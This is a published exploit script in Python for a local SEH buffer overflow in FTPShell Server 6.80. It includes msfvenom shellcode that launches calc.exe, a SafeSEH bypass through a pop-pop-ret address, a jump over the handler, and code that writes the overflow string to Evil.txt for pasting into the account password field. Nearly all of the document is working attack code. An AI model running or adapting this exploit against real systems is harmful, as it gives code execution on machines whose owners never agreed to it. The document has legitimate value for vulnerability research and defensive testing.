FTPShell Server 6.80 – Buffer Overflow (SEH)
#!/usr/bin/python #----------------------------------------------------------------------------------------------------------# # Exploit Title : FTPShell Server v6.80 - Local Buffer Overflow (SafeSEH Bypass) # # Exploit Author : Hashim Jawad - @ihack4falafel # # Vendor Homepage : http://www.ftpshell.com/ # # Vulnerable Software: http://www.ftpshell.com/downloadserver.htm # # Tested on : Windows XP Professional SP3 # # Steps to reproduce : paste contents of Evil.txt in 'Password' field under configure accounts>Change pass # #----------------------------------------------------------------------------------------------------------# ''' Notes: ===== * All loaded modules including base binary are compiled with /SAFESEH * Null byte '\x00' get mangled by the program and end up as space '\x20' ''' #root@kali:~# msfvenom -p windows/exec cmd=calc.exe -e x86/alpha_mixed -b "\x00\x0a\x0d" -f python -v shellcode #Payload size: 447 bytes shellcode = "" shellcode += "\x89\xe0\xd9\xed\xd9\x70\xf4\x5a\x4a\x4a\x4a\x4a" shellcode += "\x4a\x4a\x4a\x4a\x4a\x4a\x4a\x43\x43\x43\x43\x43" shellcode += "\x43\x37\x52\x59\x6a\x41\x58\x50\x30\x41\x30\x41" shellcode += "\x6b\x41\x41\x51\x32\x41\x42\x32\x42\x42\x30\x42" shellcode += "\x42\x41\x42\x58\x50\x38\x41\x42\x75\x4a\x49\x79" shellcode += "\x6c\x7a\x48\x4c\x42\x67\x70\x73\x30\x57\x70\x43" shellcode += "\x50\x4d\x59\x4b\x55\x36\x51\x59\x50\x61\x74\x4e" shellcode += "\x6b\x56\x30\x46\x50\x6e\x6b\x61\x42\x56\x6c\x6c" shellcode += "\x4b\x72\x72\x32\x34\x6e\x6b\x61\x62\x37\x58\x76" shellcode += "\x6f\x38\x37\x72\x6a\x54\x66\x55\x61\x4b\x4f\x4e" shellcode += "\x4c\x45\x6c\x30\x61\x71\x6c\x35\x52\x46\x4c\x45" shellcode += "\x70\x6b\x71\x58\x4f\x44\x4d\x77\x71\x69\x57\x7a" shellcode += "\x42\x6c\x32\x63\x62\x46\x37\x4e\x6b\x62\x72\x62" shellcode += "\x30\x6e\x6b\x53\x7a\x47\x4c\x4c\x4b\x52\x6c\x74" shellcode += "\x51\x52\x58\x6b\x53\x62\x68\x77\x71\x5a\x71\x62" shellcode += "\x71\x4e\x6b\x76\x39\x57\x50\x36\x61\x4a\x73\x6e" shellcode += "\x6b\x47\x39\x56\x78\x59\x73\x65\x6a\x52\x69\x6e" shellcode += "\x6b\x57\x44\x6c\x4b\x67\x71\x4e\x36\x34\x71\x6b" shellcode += "\x4f\x6e\x4c\x5a\x61\x58\x4f\x74\x4d\x76\x61\x4b" shellcode += "\x77\x70\x38\x69\x70\x52\x55\x38\x76\x75\x53\x51" shellcode += "\x6d\x59\x68\x65\x6b\x73\x4d\x65\x74\x43\x45\x78" shellcode += "\x64\x61\x48\x6c\x4b\x36\x38\x67\x54\x76\x61\x49" shellcode += "\x43\x73\x56\x4c\x4b\x76\x6c\x50\x4b\x6e\x6b\x31" shellcode += "\x48\x77\x6c\x43\x31\x79\x43\x6e\x6b\x43\x34\x4c" shellcode += "\x4b\x53\x31\x7a\x70\x4d\x59\x37\x34\x66\x44\x67" shellcode += "\x54\x33\x6b\x53\x6b\x50\x61\x30\x59\x31\x4a\x63" shellcode += "\x61\x69\x6f\x59\x70\x71\x4f\x51\x4f\x33\x6a\x6e" shellcode += "\x6b\x76\x72\x6a\x4b\x6e\x6d\x33\x6d\x43\x5a\x63" shellcode += "\x31\x6c\x4d\x6c\x45\x4c\x72\x47\x70\x45\x50\x33" shellcode += "\x30\x56\x30\x53\x58\x74\x71\x4e\x6b\x62\x4f\x4f" shellcode += "\x77\x59\x6f\x6b\x65\x6f\x4b\x4c\x30\x4f\x45\x6d" shellcode += "\x72\x43\x66\x62\x48\x39\x36\x6a\x35\x6f\x4d\x4d" shellcode += "\x4d\x59\x6f\x5a\x75\x47\x4c\x53\x36\x63\x4c\x55" shellcode += "\x5a\x4f\x70\x49\x6b\x6d\x30\x31\x65\x53\x35\x6d" shellcode += "\x6b\x62\x67\x37\x63\x30\x72\x62\x4f\x32\x4a\x55" shellcode += "\x50\x70\x53\x79\x6f\x6e\x35\x31\x73\x71\x71\x30" shellcode += "\x6c\x71\x73\x46\x4e\x43\x55\x51\x68\x35\x35\x35" shellcode += "\x50\x41\x41" buffer = '\xcc' * 2101 # filler to nSEH offset buffer += '\xeb\x06\x90\x90' # nSEH | hop over SEH buffer += '\x18\x05\xfc\x7f' # SEH | 0x7ffc0518 : pop edi # pop edi # ret [SafeSEH Bypass] buffer += '\x90' * 10 # nops sled buffer += shellcode # calc.exe buffer += '\xcc' * (5000-2101-4-4-10-len(shellcode)) try: f=open("Evil.txt","w") print "[+] Creating %s bytes evil payload.." %len(buffer) f.write(buffer) f.close() print "[+] File created!" except Exception as e: print e |